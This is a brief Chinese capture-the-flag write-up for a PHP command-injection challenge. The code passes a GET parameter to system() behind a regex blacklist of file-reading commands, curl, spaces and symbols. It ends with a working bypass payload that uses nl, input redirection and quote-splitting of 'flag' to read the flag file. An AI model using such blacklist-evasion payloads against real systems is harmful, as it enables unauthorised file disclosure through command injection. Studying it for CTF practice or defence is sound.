代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
//这里把tac过滤了
{
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
用
nl
进行替换,同web51
?c=nl<fl''ag.php||